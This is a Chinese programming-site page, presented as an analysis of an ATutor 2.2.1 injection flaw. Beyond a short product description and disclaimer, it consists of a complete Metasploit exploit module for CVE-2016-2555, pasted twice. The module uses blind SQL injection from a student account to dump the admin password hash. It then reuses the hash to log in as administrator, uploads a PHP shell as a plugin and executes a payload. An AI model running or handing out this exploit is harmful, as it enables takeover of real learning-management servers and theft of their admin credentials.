欢迎您访问程序员文章站本站旨在为大家提供分享程序员计算机编程知识!
您现在的位置是: 首页  >  网络运营

Atuto教学内容管理系统2.2.1注入漏洞分析

程序员文章站 2022-04-07 16:14:52
 Atutor是一款开源的“教学内容管理系统”(Learning Content Management System,简称LCMS)。采用PHP、...

 Atutor是一款开源的“教学内容管理系统”(Learning Content Management System,简称LCMS)。采用PHP、MySQL,HTTP Web 服务器推荐使用Apache。

 教学内容管理系统ATutor 2.2.1注入漏洞 Atutor除了教学内容管理的功能,还包括了简化的论坛、聊天室等,另外通过模块安装,还可以扩展功能: EWiki,ErFurtWiki在Atutor的实现; ATalker,基于网页的文本朗读工具。 Atutor支持二十多种语言,包括中文,志愿者可以参加翻译等工作。 下面漏洞利用代码基于metasploit平台 使用方法:保存下面的代码,后缀名为.rb,然后放到metasploit脚本目录下,载入即可 以下代码具有攻击性,只做技术交流使用,使用在已经授权的网站,如果出现任何违法行为,本站概不负责。  以下代码具有攻击性,只做技术交流使用,使用在已经授权的网站,如果出现任何违法行为,本站概不负责   Ruby   require 'msf/core'    class Metasploit3 < Msf::Exploit::Remote    Rank = ExcellentRanking       include Msf::Exploit::Remote::HttpClient    include Msf::Exploit::FileDropper       def initialize(info={})      super(update_info(info,        'Name'           => 'ATutor 2.2.1 SQL Injection / Remote Code Execution',        'Description'    => %q{           This module exploits a SQL Injection vulnerability and an authentication weakness           vulnerability in ATutor. This essentially means an attacker can bypass authenication           and reach the administrators interface where they can upload malcious code.              You are required to login to the target to reach the SQL Injection, however this           can be done as a student account and remote registration is enabled by default.        },        'License'        => MSF_LICENSE,        'Author'         =>          [            'mr_me ', # initial discovery, msf code          ],        'References'     =>          [            [ 'CVE', '2016-2555'  ],            [ 'URL', 'http://www.atutor.ca/' ] # Official Website          ],        'Privileged'     => false,        'Payload'        =>          {            'DisableNops' => true,          },        'Platform'       => ['php'],        'Arch'           => ARCH_PHP,        'Targets'        => [[ 'Automatic', { }]],        'DisclosureDate' => 'Mar 1 2016',        'DefaultTarget'  => 0))         register_options(        [          OptString.new('TARGETURI', [true, 'The path of Atutor', '/ATutor/']),          OptString.new('USERNAME', [true, 'The username to authenticate as']),          OptString.new('PASSWORD', [true, 'The password to authenticate with'])        ],self.class)    end      def print_status(msg='')      super("#{peer} - #{msg}")    end      def print_error(msg='')      super("#{peer} - #{msg}")    end      def print_good(msg='')      super("#{peer} - #{msg}")    end      def check     # the only way to test if the target is vuln  

 

    begin       test_cookie = login(datastore['USERNAME'], datastore['PASSWORD'], false)      rescue Msf::Exploit::Failed => e        vprint_error(e.message)        return Exploit::CheckCode::Unknown      end        if test_injection(test_cookie)        return Exploit::CheckCode::Vulnerable      else       return Exploit::CheckCode::Safe      end   end      def create_zip_file      zip_file      = Rex::Zip::Archive.new      @header       = Rex::Text.rand_text_alpha_upper(4)      @payload_name = Rex::Text.rand_text_alpha_lower(4)      @plugin_name  = Rex::Text.rand_text_alpha_lower(3)         path = "#{@plugin_name}/#{@payload_name}.php"     register_file_for_cleanup("#{@payload_name}.php", "../../content/module/#{path}")         zip_file.add_file(path, "")      zip_file.pack    end      def exec_code      send_request_cgi({        'method'   => 'GET',        'uri'      => normalize_uri(target_uri.path, "mods", @plugin_name, "#{@payload_name}.php"),        'raw_headers' => "#{@header}: #{Rex::Text.encode_base64(payload.encoded)}\r\n"     })    end      def upload_shell(cookie)      post_data = Rex::MIME::Message.new      post_data.add_part(create_zip_file, 'archive/zip', nil, "form-data; name=\"modulefile\"; filename=\"#{@plugin_name}.zip\"")      post_data.add_part("#{Rex::Text.rand_text_alpha_upper(4)}", nil, nil, "form-data; name=\"install_upload\"")      data = post_data.to_s      res = send_request_cgi({        'uri' => normalize_uri(target_uri.path, "mods", "_core", "modules", "install_modules.php"),        'method' => 'POST',        'data' => data,        'ctype' => "multipart/form-data; boundary=#{post_data.bound}",        'cookie' => cookie,        'agent' => 'Mozilla'     })         if res && res.code == 302 && res.redirection.to_s.include?("module_install_step_1.php?mod=#{@plugin_name}")         res = send_request_cgi({           'method' => 'GET',           'uri'    => normalize_uri(target_uri.path, "mods", "_core", "modules", res.redirection),           'cookie' => cookie,           'agent'  => 'Mozilla',         })         if res && res.code == 302 && res.redirection.to_s.include?("module_install_step_2.php?mod=#{@plugin_name}")            res = send_request_cgi({              'method' => 'GET',              'uri'    => normalize_uri(target_uri.path, "mods", "_core", "modules", "module_install_step_2.php?mod=#{@plugin_name}"),              'cookie' => cookie,              'agent'  => 'Mozilla',            })         return true        end     end        # auth failed if we land here, bail      fail_with(Failure::Unknown, "Unable to upload php code")  

 

    return false   end      def get_hashed_password(token, password, bypass)      if bypass        return Rex::Text.sha1(password + token)      else       return Rex::Text.sha1(Rex::Text.sha1(password) + token)      end   end      def login(username, password, bypass)      res = send_request_cgi({        'method'   => 'GET',        'uri'      => normalize_uri(target_uri.path, "login.php"),        'agent' => 'Mozilla',      })         token = $1 if res.body =~ /\) \+ \"(.*)\"\);/      cookie = "ATutorID=#{$1};" if res.get_cookies =~ /; ATutorID=(.*); ATutorID=/      if bypass        password = get_hashed_password(token, password, true)      else       password = get_hashed_password(token, password, false)      end        res = send_request_cgi({        'method'   => 'POST',        'uri'      => normalize_uri(target_uri.path, "login.php"),        'vars_post' => {          'form_password_hidden' => password,          'form_login' => username,          'submit' => 'Login'       },        'cookie' => cookie,        'agent' => 'Mozilla'     })      cookie = "ATutorID=#{$2};" if res.get_cookies =~ /(.*); ATutorID=(.*);/         # this is what happens when no state is maintained by the http client      if res && res.code == 302         if res.redirection.to_s.include?('bounce.php?course=0')          res = send_request_cgi({            'method'   => 'GET',            'uri'      => normalize_uri(target_uri.path, res.redirection),            'cookie' => cookie,            'agent' => 'Mozilla'         })          cookie = "ATutorID=#{$1};" if res.get_cookies =~ /ATutorID=(.*);/          if res && res.code == 302 && res.redirection.to_s.include?('users/index.php')             res = send_request_cgi({               'method'   => 'GET',               'uri'      => normalize_uri(target_uri.path, res.redirection),               'cookie' => cookie,               'agent' => 'Mozilla'            })             cookie = "ATutorID=#{$1};" if res.get_cookies =~ /ATutorID=(.*);/             return cookie            end        else res.redirection.to_s.include?('admin/index.php')            # if we made it here, we are admin            return cookie         end     end        # auth failed if we land here, bail      fail_with(Failure::NoAccess, "Authentication failed with username #{username}")      return nil    end      def perform_request(sqli, cookie)      # the search requires a minimum of 3 chars      sqli = "#{Rex::Text.rand_text_alpha(3)}'/**/or/**/#{sqli}/**/or/**/1='"     rand_key = Rex::Text.rand_text_alpha(1)  

 

    res = send_request_cgi({        'method'   => 'POST',        'uri'      => normalize_uri(target_uri.path, "mods", "_standard", "social", "connections.php"),        'vars_post' => {          "search_friends_#{rand_key}" => sqli,          'rand_key' => rand_key,          'search' => 'Search People'       },        'cookie' => cookie,        'agent' => 'Mozilla'     })      return res.body    end       def dump_the_hash(cookie)      extracted_hash = ""     sqli = "(select/**/length(concat(login,0x3a,password))/**/from/**/AT_admins/**/limit/**/0,1)"     login_and_hash_length = generate_sql_and_test(do_true=false, do_test=false, sql=sqli, cookie).to_i      for i in 1..login_and_hash_length         sqli = "ascii(substring((select/**/concat(login,0x3a,password)/**/from/**/AT_admins/**/limit/**/0,1),#{i},1))"        asciival = generate_sql_and_test(false, false, sqli, cookie)         if asciival >= 0            extracted_hash << asciival.chr         end     end     return extracted_hash.split(":")    end      def get_ascii_value(sql, cookie)      lower = 0      upper = 126      while lower < upper        mid = (lower + upper) / 2         sqli = "#{sql}>#{mid}"        result = perform_request(sqli, cookie)         if result =~ /There are \d entries./          lower = mid + 1         else         upper = mid         end     end     if lower > 0 and lower < 126         value = lower     else        sqli = "#{sql}=#{lower}"        result = perform_request(sqli, cookie)         if result =~ /There are \d entries./            value = lower        end     end     return value    end      def generate_sql_and_test(do_true=false, do_test=false, sql=nil, cookie)      if do_test        if do_true          result = perform_request("1=1", cookie)          if result =~ /There are \d entries./            return true         end       else not do_true          result = perform_request("1=2", cookie)          if not result =~ /There are \d entries./            return true         end       end     elsif not do_test and sql        return get_ascii_value(sql, cookie)      end   end      def test_injection(cookie)      if generate_sql_and_test(do_true=true, do_test=true, sql=nil, cookie)         if generate_sql_and_test(do_true=false, do_test=true, sql=nil, cookie)          return true        end     end     return false   end      def report_cred(opts)      service_data = {        address: rhost,  

 

      port: rport,        service_name: ssl ? 'https' : 'http',        protocol: 'tcp',        workspace_id: myworkspace_id      }         credential_data = {        module_fullname: fullname,        post_reference_name: self.refname,        private_data: opts[:password],        origin_type: :service,        private_type: :password,        username: opts[:user]      }.merge(service_data)         login_data = {        core: create_credential(credential_data),        status: Metasploit::Model::Login::Status::SUCCESSFUL,        last_attempted_at: Time.now      }.merge(service_data)         create_credential_login(login_data)    end      def exploit      student_cookie = login(datastore['USERNAME'], datastore['PASSWORD'], false)      print_status("Logged in as #{datastore['USERNAME']}, sending a few test injections...")      report_cred(user: datastore['USERNAME'], password: datastore['PASSWORD'])         print_status("Dumping username and password hash...")      # we got admin hash now      credz = dump_the_hash(student_cookie)      print_good("Got the #{credz[0]} hash: #{credz[1]} !")      if credz        admin_cookie = login(credz[0], credz[1], true)        print_status("Logged in as #{credz[0]}, uploading shell...")        # install a plugin        if upload_shell(admin_cookie)          print_good("Shell upload successful!")          # boom          exec_code        end     end   end end require 'msf/core'    class Metasploit3 < Msf::Exploit::Remote    Rank = ExcellentRanking       include Msf::Exploit::Remote::HttpClient    include Msf::Exploit::FileDropper       def initialize(info={})      super(update_info(info,        'Name'           => 'ATutor 2.2.1 SQL Injection / Remote Code Execution',        'Description'    => %q{           This module exploits a SQL Injection vulnerability and an authentication weakness           vulnerability in ATutor. This essentially means an attacker can bypass authenication           and reach the administrators interface where they can upload malcious code.              You are required to login to the target to reach the SQL Injection, however this           can be done as a student account and remote registration is enabled by default.        },        'License'        => MSF_LICENSE,        'Author'         =>          [            'mr_me ', # initial discovery, msf code          ],        'References'     =>          [            [ 'CVE', '2016-2555'  ],            [ 'URL', 'http://www.atutor.ca/' ] # Official Website          ],        'Privileged'     => false,        'Payload'        =>          {            'DisableNops' => true,  

 

        },        'Platform'       => ['php'],        'Arch'           => ARCH_PHP,        'Targets'        => [[ 'Automatic', { }]],        'DisclosureDate' => 'Mar 1 2016',        'DefaultTarget'  => 0))         register_options(        [          OptString.new('TARGETURI', [true, 'The path of Atutor', '/ATutor/']),          OptString.new('USERNAME', [true, 'The username to authenticate as']),          OptString.new('PASSWORD', [true, 'The password to authenticate with'])        ],self.class)    end      def print_status(msg='')      super("#{peer} - #{msg}")    end      def print_error(msg='')      super("#{peer} - #{msg}")    end      def print_good(msg='')      super("#{peer} - #{msg}")    end      def check     # the only way to test if the target is vuln      begin       test_cookie = login(datastore['USERNAME'], datastore['PASSWORD'], false)      rescue Msf::Exploit::Failed => e        vprint_error(e.message)        return Exploit::CheckCode::Unknown      end        if test_injection(test_cookie)        return Exploit::CheckCode::Vulnerable      else       return Exploit::CheckCode::Safe      end   end      def create_zip_file      zip_file      = Rex::Zip::Archive.new      @header       = Rex::Text.rand_text_alpha_upper(4)      @payload_name = Rex::Text.rand_text_alpha_lower(4)      @plugin_name  = Rex::Text.rand_text_alpha_lower(3)         path = "#{@plugin_name}/#{@payload_name}.php"     register_file_for_cleanup("#{@payload_name}.php", "../../content/module/#{path}")         zip_file.add_file(path, "")      zip_file.pack    end      def exec_code      send_request_cgi({        'method'   => 'GET',        'uri'      => normalize_uri(target_uri.path, "mods", @plugin_name, "#{@payload_name}.php"),        'raw_headers' => "#{@header}: #{Rex::Text.encode_base64(payload.encoded)}\r\n"     })    end      def upload_shell(cookie)      post_data = Rex::MIME::Message.new      post_data.add_part(create_zip_file, 'archive/zip', nil, "form-data; name=\"modulefile\"; filename=\"#{@plugin_name}.zip\"")      post_data.add_part("#{Rex::Text.rand_text_alpha_upper(4)}", nil, nil, "form-data; name=\"install_upload\"")      data = post_data.to_s      res = send_request_cgi({        'uri' => normalize_uri(target_uri.path, "mods", "_core", "modules", "install_modules.php"),        'method' => 'POST',        'data' => data,        'ctype' => "multipart/form-data; boundary=#{post_data.bound}",        'cookie' => cookie,        'agent' => 'Mozilla'     })         if res && res.code == 302 && res.redirection.to_s.include?("module_install_step_1.php?mod=#{@plugin_name}")  

 

       res = send_request_cgi({           'method' => 'GET',           'uri'    => normalize_uri(target_uri.path, "mods", "_core", "modules", res.redirection),           'cookie' => cookie,           'agent'  => 'Mozilla',         })         if res && res.code == 302 && res.redirection.to_s.include?("module_install_step_2.php?mod=#{@plugin_name}")            res = send_request_cgi({              'method' => 'GET',              'uri'    => normalize_uri(target_uri.path, "mods", "_core", "modules", "module_install_step_2.php?mod=#{@plugin_name}"),              'cookie' => cookie,              'agent'  => 'Mozilla',            })         return true        end     end        # auth failed if we land here, bail      fail_with(Failure::Unknown, "Unable to upload php code")      return false   end      def get_hashed_password(token, password, bypass)      if bypass        return Rex::Text.sha1(password + token)      else       return Rex::Text.sha1(Rex::Text.sha1(password) + token)      end   end      def login(username, password, bypass)      res = send_request_cgi({        'method'   => 'GET',        'uri'      => normalize_uri(target_uri.path, "login.php"),        'agent' => 'Mozilla',      })         token = $1 if res.body =~ /\) \+ \"(.*)\"\);/      cookie = "ATutorID=#{$1};" if res.get_cookies =~ /; ATutorID=(.*); ATutorID=/      if bypass        password = get_hashed_password(token, password, true)      else       password = get_hashed_password(token, password, false)      end        res = send_request_cgi({        'method'   => 'POST',        'uri'      => normalize_uri(target_uri.path, "login.php"),        'vars_post' => {          'form_password_hidden' => password,          'form_login' => username,          'submit' => 'Login'       },        'cookie' => cookie,        'agent' => 'Mozilla'     })      cookie = "ATutorID=#{$2};" if res.get_cookies =~ /(.*); ATutorID=(.*);/         # this is what happens when no state is maintained by the http client      if res && res.code == 302         if res.redirection.to_s.include?('bounce.php?course=0')          res = send_request_cgi({            'method'   => 'GET',            'uri'      => normalize_uri(target_uri.path, res.redirection),            'cookie' => cookie,            'agent' => 'Mozilla'         })          cookie = "ATutorID=#{$1};" if res.get_cookies =~ /ATutorID=(.*);/          if res && res.code == 302 && res.redirection.to_s.include?('users/index.php')             res = send_request_cgi({               'method'   => 'GET',  

 

             'uri'      => normalize_uri(target_uri.path, res.redirection),               'cookie' => cookie,               'agent' => 'Mozilla'            })             cookie = "ATutorID=#{$1};" if res.get_cookies =~ /ATutorID=(.*);/             return cookie            end        else res.redirection.to_s.include?('admin/index.php')            # if we made it here, we are admin            return cookie         end     end        # auth failed if we land here, bail      fail_with(Failure::NoAccess, "Authentication failed with username #{username}")      return nil    end      def perform_request(sqli, cookie)      # the search requires a minimum of 3 chars      sqli = "#{Rex::Text.rand_text_alpha(3)}'/**/or/**/#{sqli}/**/or/**/1='"     rand_key = Rex::Text.rand_text_alpha(1)      res = send_request_cgi({        'method'   => 'POST',        'uri'      => normalize_uri(target_uri.path, "mods", "_standard", "social", "connections.php"),        'vars_post' => {          "search_friends_#{rand_key}" => sqli,          'rand_key' => rand_key,          'search' => 'Search People'       },        'cookie' => cookie,        'agent' => 'Mozilla'     })      return res.body    end       def dump_the_hash(cookie)      extracted_hash = ""     sqli = "(select/**/length(concat(login,0x3a,password))/**/from/**/AT_admins/**/limit/**/0,1)"     login_and_hash_length = generate_sql_and_test(do_true=false, do_test=false, sql=sqli, cookie).to_i      for i in 1..login_and_hash_length         sqli = "ascii(substring((select/**/concat(login,0x3a,password)/**/from/**/AT_admins/**/limit/**/0,1),#{i},1))"        asciival = generate_sql_and_test(false, false, sqli, cookie)         if asciival >= 0            extracted_hash << asciival.chr         end     end     return extracted_hash.split(":")    end      def get_ascii_value(sql, cookie)      lower = 0      upper = 126      while lower < upper        mid = (lower + upper) / 2         sqli = "#{sql}>#{mid}"        result = perform_request(sqli, cookie)         if result =~ /There are \d entries./          lower = mid + 1         else         upper = mid         end     end     if lower > 0 and lower < 126         value = lower     else        sqli = "#{sql}=#{lower}"        result = perform_request(sqli, cookie)         if result =~ /There are \d entries./            value = lower        end     end     return value    end      def generate_sql_and_test(do_true=false, do_test=false, sql=nil, cookie)      if do_test  

 

      if do_true          result = perform_request("1=1", cookie)          if result =~ /There are \d entries./            return true         end       else not do_true          result = perform_request("1=2", cookie)          if not result =~ /There are \d entries./            return true         end       end     elsif not do_test and sql        return get_ascii_value(sql, cookie)      end   end      def test_injection(cookie)      if generate_sql_and_test(do_true=true, do_test=true, sql=nil, cookie)         if generate_sql_and_test(do_true=false, do_test=true, sql=nil, cookie)          return true        end     end     return false   end      def report_cred(opts)      service_data = {        address: rhost,        port: rport,        service_name: ssl ? 'https' : 'http',        protocol: 'tcp',        workspace_id: myworkspace_id      }         credential_data = {        module_fullname: fullname,        post_reference_name: self.refname,        private_data: opts[:password],        origin_type: :service,        private_type: :password,        username: opts[:user]      }.merge(service_data)         login_data = {        core: create_credential(credential_data),        status: Metasploit::Model::Login::Status::SUCCESSFUL,        last_attempted_at: Time.now      }.merge(service_data)         create_credential_login(login_data)    end      def exploit      student_cookie = login(datastore['USERNAME'], datastore['PASSWORD'], false)      print_status("Logged in as #{datastore['USERNAME']}, sending a few test injections...")      report_cred(user: datastore['USERNAME'], password: datastore['PASSWORD'])         print_status("Dumping username and password hash...")      # we got admin hash now      credz = dump_the_hash(student_cookie)      print_good("Got the #{credz[0]} hash: #{credz[1]} !")      if credz        admin_cookie = login(credz[0], credz[1], true)        print_status("Logged in as #{credz[0]}, uploading shell...")        # install a plugin        if upload_shell(admin_cookie)          print_good("Shell upload successful!")          # boom          exec_code        end     end   end end